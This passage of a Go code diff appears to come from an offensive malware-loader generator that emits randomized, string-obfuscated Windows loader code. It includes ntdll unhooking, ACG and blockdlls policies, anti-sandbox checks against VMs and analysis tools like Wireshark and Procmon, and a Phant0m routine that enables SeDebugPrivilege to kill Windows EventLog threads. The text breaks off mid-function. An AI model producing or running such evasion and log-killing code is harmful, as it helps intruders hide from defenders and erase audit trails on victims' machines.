+ var {{.Vars.nbr}} uintptr = 0
+
+ {{.Vars.r1}}, _, {{.Vars.err}} := {{.Vars.ReadProcessMemory}}.Call(uintptr({{.Vars.pi}}.Process), uintptr({{.Vars.dll_offset}}), uintptr(unsafe.Pointer(&{{.Vars.data}}[0])), uintptr({{.Vars.size}}), uintptr(unsafe.Pointer(&{{.Vars.nbr}})))
+ if {{.Vars.r1}} == 0 {
+ return {{.Vars.err}}
+ }
+
+ {{.Vars.ntdll_bytes}} := {{.Vars.data}}
+ {{.Vars.ntdll_offset}} := {{.Vars.dll_offset}}
+
+ var {{.Vars.nLength}} uintptr
+ {{.Vars.r2}}, _, {{.Vars.err}} := {{.Vars.WriteProcessMemory}}.Call({{.Vars.pHandle}}, uintptr({{.Vars.ntdll_offset}}), uintptr(unsafe.Pointer(&{{.Vars.ntdll_bytes}}[0])), uintptr(uint32(len({{.Vars.ntdll_bytes}}))), uintptr(unsafe.Pointer(&{{.Vars.nLength}})))
+ if {{.Vars.r2}} == 0 {
+ return {{.Vars.err}}
+ }
+
+ {{.Vars.TerminateProcess}}.Call(uintptr({{.Vars.pi}}.Process), 0)
+ }
+
+ return nil
+}
+`
+ }
+
+ if (unhook != "") {
+ // append previous function
+ functions = utils.AppendString(functions, ParseTemplate(unhook_func, Main))
+ }
+
+
+ // add ACG Guard function to loader
+ if (acg) {
+
+ if (verbose) {
+ fmt.Println(" > Adding ACG Guard protection...")
+ }
+ time.Sleep(100 * time.Millisecond)
+
+ // define variables
+ Main.Vars["acg_func"] = utils.RandomString(utils.RandomInt(10,12))
+ Main.Vars["kernel32"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["SetProcessMitigationPolicy"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["ProcessDynamicCodePolicy"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["dcp"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["ret"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
+
+ PROCESS_MITIGATION_DYNAMIC_CODE_POLICY := `
+type PROCESS_MITIGATION_DYNAMIC_CODE_POLICY struct {
+ ProhibitDynamicCode uint32
+}
+`
+ // append needed exports and imports
+ exports = utils.AppendString(exports, PROCESS_MITIGATION_DYNAMIC_CODE_POLICY)
+ imports = utils.AppendSlice(imports, []string{"golang.org/x/sys/windows", "unsafe", "errors", "fmt"})
+
+ // define code using templates
+ acg_func := `
+func {{.Vars.acg_func}}() error {`
+
+ if (hashing) {
+ acg_func = acg_func + `
+ {{.Vars.SetProcessMitigationPolicy}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("SetProcessMitigationPolicy", rand_num)) + `, ` + ObfuscateStr("C:\\Windows\\System32\\kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+`
+ } else {
+ acg_func = acg_func + `
+ {{.Vars.SetProcessMitigationPolicy}} := windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `).NewProc(` + ObfuscateStr("SetProcessMitigationPolicy", str_obfs) + `)
+`
+ }
+
+ acg_func = acg_func + `
+ var {{.Vars.ProcessDynamicCodePolicy}} int32 = 2
+ var {{.Vars.dcp}} PROCESS_MITIGATION_DYNAMIC_CODE_POLICY
+ {{.Vars.dcp}}.ProhibitDynamicCode = 1
+
+ {{.Vars.ret}}, _, {{.Vars.err}} := {{.Vars.SetProcessMitigationPolicy}}.Call(
+ uintptr({{.Vars.ProcessDynamicCodePolicy}}),
+ uintptr(unsafe.Pointer(&{{.Vars.dcp}})),
+ unsafe.Sizeof({{.Vars.dcp}}),
+ )
+
+ if {{.Vars.ret}} != 1 {
+ return errors.New(fmt.Sprintf(` + ObfuscateStr("error: %s", str_obfs) + `, {{.Vars.err}}))
+ }
+
+ return nil
+}
+`
+
+ // append previous function
+ functions = utils.AppendString(functions, ParseTemplate(acg_func, Main))
+ }
+
+ if (blockdlls) {
+ if (verbose) {
+ fmt.Println(" > Adding blockdlls function...")
+ }
+ time.Sleep(100 * time.Millisecond)
+
+ process_mitigation_binary_signature_policy := `
+type PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY struct {
+ Flags uint32
+}
+`
+
+ Main.Vars["blockdlls_func"] = utils.RandomString(utils.RandomInt(8,9))
+ Main.Vars["kernel32"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["SetProcessMitigationPolicy"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["ProcessSignaturePolicy"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["sp"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["ret"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
+
+ exports = utils.AppendString(exports, process_mitigation_binary_signature_policy)
+ imports = utils.AppendSlice(imports, []string{"golang.org/x/sys/windows", "unsafe", "errors", "fmt"})
+
+ blockdlls_func := `
+func {{.Vars.blockdlls_func}}() error {`
+
+ if (hashing) {
+ blockdlls_func = blockdlls_func + `
+ {{.Vars.SetProcessMitigationPolicy}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("SetProcessMitigationPolicy", rand_num)) + `, ` + ObfuscateStr("C:\\Windows\\System32\\kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+`
+ } else {
+ blockdlls_func = blockdlls_func + `
+ {{.Vars.kernel32}} := windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `)
+ {{.Vars.SetProcessMitigationPolicy}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("SetProcessMitigationPolicy", str_obfs) + `)
+`
+ }
+
+ blockdlls_func = blockdlls_func + `
+ var {{.Vars.ProcessSignaturePolicy}} uint32 = 8
+ var {{.Vars.sp}} PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY
+
+ {{.Vars.sp}}.Flags = 0x1
+
+ {{.Vars.ret}}, _, {{.Vars.err}} := {{.Vars.SetProcessMitigationPolicy}}.Call(
+ uintptr({{.Vars.ProcessSignaturePolicy}}),
+ uintptr(unsafe.Pointer(&{{.Vars.sp}})),
+ unsafe.Sizeof({{.Vars.sp}}),
+ )
+
+ if {{.Vars.ret}} == 0 {
+ return errors.New(fmt.Sprintf(` + ObfuscateStr("error: %s", str_obfs) + `, {{.Vars.err}}))
+ }
+
+ return nil
+}
+`
+
+ // append previous function
+ functions = utils.AppendString(functions, ParseTemplate(blockdlls_func, Main))
+ }
+
+ if (sandbox) {
+
+ if (verbose) {
+ fmt.Println(" > Adding anti-sandboxing techniques...")
+ }
+ time.Sleep(100 * time.Millisecond)
+
+ Main.Vars["sandbox_func"] = utils.RandomString(utils.RandomInt(10,12))
+ Main.Vars["isProcessRunning"] = utils.RandomString(utils.RandomInt(10,12))
+ Main.Vars["client"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["msx"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["r1"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["process"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["processes"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["processName"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["hSnap"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["pe32"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["ret"] = utils.RandomString(utils.RandomInt(9,10))
+
+ Main.Vars["GlobalMemoryStatusEx"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["CreateToolhelp32Snapshot"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["CloseHandle"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["Process32First"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["Process32NextW"] = utils.RandomString(utils.RandomInt(9,10))
+
+ memStatusEx := `
+type memStatusEx struct {
+ dwLength uint32
+ dwMemoryLoad uint32
+ ullTotalPhys uint64
+ ullAvailPhys uint64
+ ullTotalPageFile uint64
+ ullAvailPageFile uint64
+ ullTotalVirtual uint64
+ ullAvailVirtual uint64
+ ullAvailExtendedVirtual uint64
+}
+`
+
+ processentry32 := `
+type PROCESSENTRY32 struct {
+ dwSize uint32
+ cntUsage uint32
+ th32ProcessID uint32
+ th32DefaultHeapID uintptr
+ th32ModuleID uint32
+ cntThreads uint32
+ th32ParentProcessID uint32
+ pcPriClassBase int32
+ dwFlags uint32
+ szExeFile [260]uint16
+}
+`
+
+ processes_list := `
+var {{.Vars.processes}} []string = []string{
+ ` + ObfuscateStr("vboxservice.exe", str_obfs) + `,
+ ` + ObfuscateStr("vboxtray.exe", str_obfs) + `,
+ ` + ObfuscateStr("vmtoolsd.exe", str_obfs) + `,
+ ` + ObfuscateStr("vmwaretray.exe", str_obfs) + `,
+ ` + ObfuscateStr("vmware.exe", str_obfs) + `,
+ ` + ObfuscateStr("vmware-vmx.exe", str_obfs) + `,
+ ` + ObfuscateStr("vmwareuser", str_obfs) + `,
+ ` + ObfuscateStr("VGAuthService.exe", str_obfs) + `,
+ ` + ObfuscateStr("vmacthlp.exe", str_obfs) + `,
+ ` + ObfuscateStr("vmsrvc.exe", str_obfs) + `,
+ ` + ObfuscateStr("vmusrvc.exe", str_obfs) + `,
+ ` + ObfuscateStr("xenservice.exe", str_obfs) + `,
+ ` + ObfuscateStr("qemu-ga.exe", str_obfs) + `,
+ ` + ObfuscateStr("wireshark.exe", str_obfs) + `,
+ ` + ObfuscateStr("Procmon.exe", str_obfs) + `,
+ ` + ObfuscateStr("Procmon64.exe", str_obfs) + `,
+ ` + ObfuscateStr("volatily.exe", str_obfs) + `,
+ ` + ObfuscateStr("volatily3.exe", str_obfs) + `,
+ ` + ObfuscateStr("DumpIt.exe", str_obfs) + `,
+ ` + ObfuscateStr("dumpit.exe", str_obfs) + `,
+}
+`
+
+ // append needed imports and exports
+ imports = utils.AppendSlice(imports, []string{"time", "golang.org/x/sys/windows", "unsafe", "net/http", "runtime", "strings"})
+ exports = utils.AppendSlice(exports, []string{memStatusEx, processentry32, ParseTemplate(processes_list, Main)})
+
+ // define code using templates
+ sandbox_func := `
+func {{.Vars.sandbox_func}}() bool {
+ if (runtime.NumCPU() <= 2) {
+ return true
+ }
+
+ {{.Vars.client}} := http.Client{Timeout: 3 * time.Second}
+ _, {{.Vars.err}} := {{.Vars.client}}.Get(` + ObfuscateStr("https://google.com", str_obfs) + `)
+
+ if {{.Vars.err}} != nil {
+ return true
+ }
+
+ {{.Vars.msx}} := &memStatusEx{dwLength: 64}
+`
+
+ if (hashing) {
+ sandbox_func = sandbox_func + `
+ {{.Vars.GlobalMemoryStatusEx}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("GlobalMemoryStatusEx", rand_num)) + `,` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.r1}}, _, _ := {{.Vars.GlobalMemoryStatusEx}}.Call(uintptr(unsafe.Pointer({{.Vars.msx}})))
+`
+ } else {
+ sandbox_func = sandbox_func + `
+ {{.Vars.r1}}, _, _ := windows.MustLoadDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `).MustFindProc(` + ObfuscateStr("GlobalMemoryStatusEx", str_obfs) + `).Call(uintptr(unsafe.Pointer({{.Vars.msx}})))
+`
+ }
+
+ sandbox_func = sandbox_func + `
+ if ({{.Vars.r1}} == 0) || ({{.Vars.msx}}.ullTotalPhys < 4174967296) {
+ return true
+ }
+
+ for _, {{.Vars.process}} := range {{.Vars.processes}} {
+ if {{.Vars.isProcessRunning}}({{.Vars.process}}) {
+ return true
+ }
+ }
+
+ return false
+}
+`
+ processes_func := `
+func {{.Vars.isProcessRunning}}({{.Vars.processName}} string) bool {`
+
+ if (hashing) {
+ processes_func = processes_func + `
+ {{.Vars.CreateToolhelp32Snapshot}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("CreateToolhelp32Snapshot", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})`
+ } else {
+ processes_func = processes_func + `
+ {{.Vars.CreateToolhelp32Snapshot}} := windows.MustLoadDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `).MustFindProc(` + ObfuscateStr("CreateToolhelp32Snapshot", str_obfs) + `)`
+ }
+
+ processes_func = processes_func + `
+ {{.Vars.hSnap}}, _, _ := {{.Vars.CreateToolhelp32Snapshot}}.Call(uintptr(0x00000002), 0)
+ if {{.Vars.hSnap}} == uintptr(^uintptr(0)) {
+ return false
+ }
+ `
+
+ if (hashing) {
+ processes_func = processes_func + `
+ {{.Vars.CloseHandle}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("CloseHandle", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ defer {{.Vars.CloseHandle}}.Call({{.Vars.hSnap}})
+`
+ } else {
+ processes_func = processes_func + `defer windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `).NewProc(` + ObfuscateStr("CloseHandle", str_obfs) + `).Call({{.Vars.hSnap}})
+`
+ }
+
+ processes_func = processes_func + `
+ var {{.Vars.pe32}} PROCESSENTRY32
+ {{.Vars.pe32}}.dwSize = uint32(unsafe.Sizeof({{.Vars.pe32}}))
+
+ `
+
+ if (hashing) {
+ processes_func = processes_func + `{{.Vars.Process32First}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("Process32First", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.ret}}, _, _ := {{.Vars.Process32First}}.Call({{.Vars.hSnap}}, uintptr(unsafe.Pointer(&{{.Vars.pe32}})))
+`
+ } else {
+ processes_func = processes_func + `{{.Vars.ret}}, _, _ := windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `).NewProc(` + ObfuscateStr("Process32First", str_obfs) + `).Call({{.Vars.hSnap}}, uintptr(unsafe.Pointer(&{{.Vars.pe32}})))
+`
+ }
+
+ processes_func = processes_func + `
+ if {{.Vars.ret}} != 0 {
+ if strings.EqualFold({{.Vars.processName}}, windows.UTF16ToString({{.Vars.pe32}}.szExeFile[:])) {
+ return true
+ }
+ `
+
+ if (hashing) {
+ processes_func = processes_func + `
+ {{.Vars.Process32NextW}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("Process32NextW", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.ret}}, _, _ = {{.Vars.Process32NextW}}.Call({{.Vars.hSnap}}, uintptr(unsafe.Pointer(&{{.Vars.pe32}})))
+ }`
+ } else {
+ processes_func = processes_func + `
+ {{.Vars.ret}}, _, _ = windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `).NewProc(` + ObfuscateStr("Process32NextW", str_obfs) + `).Call({{.Vars.hSnap}}, uintptr(unsafe.Pointer(&{{.Vars.pe32}})))
+ }`
+ }
+
+ processes_func = processes_func + `
+
+ return false
+}
+`
+
+ functions = utils.AppendString(functions, ParseTemplate(sandbox_func, Main))
+ functions = utils.AppendString(functions, ParseTemplate(processes_func, Main))
+ }
+
+ // add Phant0m function to loader
+ if (phantom) {
+ if (verbose) {
+ fmt.Println(" > Adding Phant0m technique to suspend EventLog threads...")
+ }
+ time.Sleep(100 * time.Millisecond)
+
+ pthread_basic_info_struct := `
+type PTHREAD_BASIC_INFORMATION struct {
+ exitStatus int32
+ pTebBaseAddress uintptr
+ clientId CLIENT_ID
+ AffinityMask uintptr
+ Priority int
+ BasePriority int
+ v int
+}
+`
+
+ sc_service_tag_query_struct := `
+type SC_SERVICE_TAG_QUERY struct {
+ processId uint32
+ serviceTag uint32
+ reserved uint32
+ pBuffer unsafe.Pointer
+}
+`
+
+ client_id_struct := `
+type CLIENT_ID struct {
+ UniqueProcess uintptr
+ UniqueThread uintptr
+}
+`
+
+ // append needed exports and imports
+ exports = utils.AppendSlice(exports, []string{pthread_basic_info_struct, sc_service_tag_query_struct, client_id_struct})
+ imports = utils.AppendSlice(imports, []string{"unsafe", "golang.org/x/sys/windows"})
+
+ Main.Vars["phantom_func"] = utils.RandomString(utils.RandomInt(10,12))
+ Main.Vars["get_eventlog_pid_func"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["elevate_process_token_func"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["SeDebugPrivilege"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["tokenAdjustPrivileges"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["tokenQuery"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["hToken"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["GetCurrentProcess"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["GetLastError"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["OpenProcessToken"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["LookupPrivilegeValue"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["AdjustTokenPrivileges"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["kernel32"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["advapi32"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["currentProcess"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["result"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["SePrivilegeEnabled"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["tkp"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["OpenSCManager"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["OpenService"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["QueryServiceStatusEx"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["ssp"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["dwBytesNeeded"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["scm"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["svc"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["pid"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["NtQueryInformationThread"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["I_QueryTagInformation"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["OpenThread"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["OpenProcess"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["TerminateThread"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["CloseHandle"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["ReadProcessMemory"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["CreateToolhelp32Snapshot"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["Thread32First"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["Thread32Next"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["ntdll"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["advapi32"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["kernel32"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["hThreads"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["tbi"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["te32"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["hEvtThread"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["hEvtProcess"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["scTagQuery"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["hTag"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["pN"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["eventlog_pid"] = utils.RandomString(utils.RandomInt(9,10))
+
+ elevate_process_token_func := `
+func {{.Vars.elevate_process_token_func}}() error {
+ type Luid struct {
+ lowPart uint32
+ highPart int32
+ }
+
+ type LuidAndAttributes struct {
+ luid Luid
+ attributes uint32
+ }
+
+ type TokenPrivileges struct {
+ privilegeCount uint32
+ privileges [1]LuidAndAttributes
+ }
+
+ {{.Vars.SeDebugPrivilege}} := ` + ObfuscateStr("SeDebugPrivilege", str_obfs) + `
+ const {{.Vars.tokenAdjustPrivileges}} = 0x0020
+ const {{.Vars.tokenQuery}} = 0x0008
+ var {{.Vars.hToken}} uintptr
+`
+
+ if (hashing) {
+ elevate_process_token_func = elevate_process_token_func + `
+ {{.Vars.GetCurrentProcess}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("GetCurrentProcess", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.GetLastError}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("GetLastError", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.OpenProcessToken}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("OpenProcessToken", rand_num)) + `, ` + ObfuscateStr("advapi32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.LookupPrivilegeValue}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("LookupPrivilegeValueW", rand_num)) + `, ` + ObfuscateStr("advapi32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.AdjustTokenPrivileges}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("AdjustTokenPrivileges", rand_num)) + `, ` + ObfuscateStr("advapi32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+`
+ } else {
+ elevate_process_token_func = elevate_process_token_func + `
+ {{.Vars.kernel32}} := windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `)
+ {{.Vars.advapi32}} := windows.NewLazyDLL(` + ObfuscateStr("advapi32.dll", str_obfs) + `)
+
+ {{.Vars.GetCurrentProcess}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("GetCurrentProcess", str_obfs) + `)
+ {{.Vars.GetLastError}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("GetLastError", str_obfs) + `)
+ {{.Vars.OpenProcessToken}} := {{.Vars.advapi32}}.NewProc(` + ObfuscateStr("OpenProcessToken", str_obfs) + `)
+ {{.Vars.LookupPrivilegeValue}} := {{.Vars.advapi32}}.NewProc(` + ObfuscateStr("LookupPrivilegeValueW", str_obfs) + `)
+ {{.Vars.AdjustTokenPrivileges}} := {{.Vars.advapi32}}.NewProc(` + ObfuscateStr("AdjustTokenPrivileges", str_obfs) + `)
+`
+ }
+
+ elevate_process_token_func = elevate_process_token_func + `
+ {{.Vars.currentProcess}}, _, _ := {{.Vars.GetCurrentProcess}}.Call()
+
+ {{.Vars.result}}, _, {{.Vars.err}} := {{.Vars.OpenProcessToken}}.Call({{.Vars.currentProcess}}, {{.Vars.tokenAdjustPrivileges}}|{{.Vars.tokenQuery}}, uintptr(unsafe.Pointer(&{{.Vars.hToken}})))
+ if {{.Vars.result}} != 1 {
+ return {{.Vars.err}}
+ }
+
+ var {{.Vars.tkp}} TokenPrivileges
+
+ {{.Vars.result}}, _, {{.Vars.err}} = {{.Vars.LookupPrivilegeValue}}.Call(uintptr(0), uintptr(unsafe.Pointer(windows.StringToUTF16Ptr({{.Vars.SeDebugPrivilege}}))), uintptr(unsafe.Pointer(&({{.Vars.tkp}}.privileges[0].luid))))
+ if {{.Vars.result}} != 1 {
+ return {{.Vars.err}}
+ }
+
+ const {{.Vars.SePrivilegeEnabled}} uint32 = 0x00000002
+
+ {{.Vars.tkp}}.privilegeCount = 1
+ {{.Vars.tkp}}.privileges[0].attributes = {{.Vars.SePrivilegeEnabled}}
+
+ {{.Vars.result}}, _, {{.Vars.err}} = {{.Vars.AdjustTokenPrivileges}}.Call({{.Vars.hToken}}, 0, uintptr(unsafe.Pointer(&{{.Vars.tkp}})), 0, uintptr(0), 0)
+ if {{.Vars.result}} != 1 {
+ return {{.Vars.err}}
+ }
+
+ {{.Vars.result}}, _, _ = {{.Vars.GetLastError}}.Call()
+ if {{.Vars.result}} != 0 {
+ return {{.Vars.err}}
+ }
+
+ return nil
+}
+`
+
+ event_log_pid_func := `
+func {{.Vars.get_eventlog_pid_func}}() (uint32, error) {
+`
+
+ if (hashing) {
+ event_log_pid_func = event_log_pid_func + `
+ {{.Vars.OpenSCManager}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("OpenSCManagerW", rand_num)) + `, ` + ObfuscateStr("advapi32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.OpenService}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("OpenServiceW", rand_num)) + `, ` + ObfuscateStr("advapi32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.QueryServiceStatusEx}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("QueryServiceStatusEx", rand_num)) + `, ` + ObfuscateStr("advapi32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+`
+ } else {
+ event_log_pid_func = event_log_pid_func + `
+ {{.Vars.advapi32}} := windows.NewLazyDLL(` + ObfuscateStr("advapi32.dll", str_obfs) + `)
+
+ {{.Vars.OpenSCManager}} := {{.Vars.advapi32}}.NewProc(` + ObfuscateStr("OpenSCManagerW", str_obfs) + `)
+ {{.Vars.OpenService}} := {{.Vars.advapi32}}.NewProc(` + ObfuscateStr("OpenServiceW", str_obfs) + `)
+ {{.Vars.QueryServiceStatusEx}} := {{.Vars.advapi32}}.NewProc(` + ObfuscateStr("QueryServiceStatusEx", str_obfs) + `)
+`
+ }
+
+ event_log_pid_func = event_log_pid_func + `
+ var {{.Vars.ssp}} windows.SERVICE_STATUS_PROCESS
+ var {{.Vars.dwBytesNeeded}} uint32
+
+ {{.Vars.scm}}, _, {{.Vars.err}} := {{.Vars.OpenSCManager}}.Call(0, 0, windows.SERVICE_QUERY_STATUS)
+ if {{.Vars.scm}} == 0 {
+ return 0, {{.Vars.err}}
+ }
+
+ {{.Vars.svc}}, _, {{.Vars.err}} := {{.Vars.OpenService}}.Call({{.Vars.scm}}, uintptr(unsafe.Pointer(windows.StringToUTF16Ptr(` + ObfuscateStr("EventLog", str_obfs) + `))), windows.SERVICE_QUERY_STATUS)
+ if {{.Vars.svc}} == 0 {
+ return 0, {{.Vars.err}}
+ }
+
+ {{.Vars.QueryServiceStatusEx}}.Call({{.Vars.svc}}, windows.SC_STATUS_PROCESS_INFO, uintptr(unsafe.Pointer(&{{.Vars.ssp}})), uintptr(unsafe.Sizeof({{.Vars.ssp}})), uintptr(unsafe.Pointer(&{{.Vars.dwBytesNeeded}})))
+
+ return {{.Vars.ssp}}.ProcessId, nil
+}
+`
+
+ phantom_func := `
+func {{.Vars.phantom_func}}({{.Vars.pid}} uint32) error {
+ {{.Vars.err}} := {{.Vars.elevate_process_token_func}}()
+ if {{.Vars.err}} != nil {
+ return {{.Vars.err}}
+ }
+`
+
+ if (hashing) {
+ phantom_func = phantom_func + `
+ {{.Vars.NtQueryInformationThread}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtQueryInformationThread, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.I_QueryTagInformation}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("I_QueryTagInformation", rand_num)) + `, ` + ObfuscateStr("advapi32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.OpenThread}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("OpenThread", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.OpenProcess}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("OpenProcess", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.TerminateThread}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("TerminateThread", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.CloseHandle}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("CloseHandle", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.ReadProcessMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("ReadProcessMemory", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.CreateToolhelp32Snapshot}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("CreateToolhelp32Snapshot", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
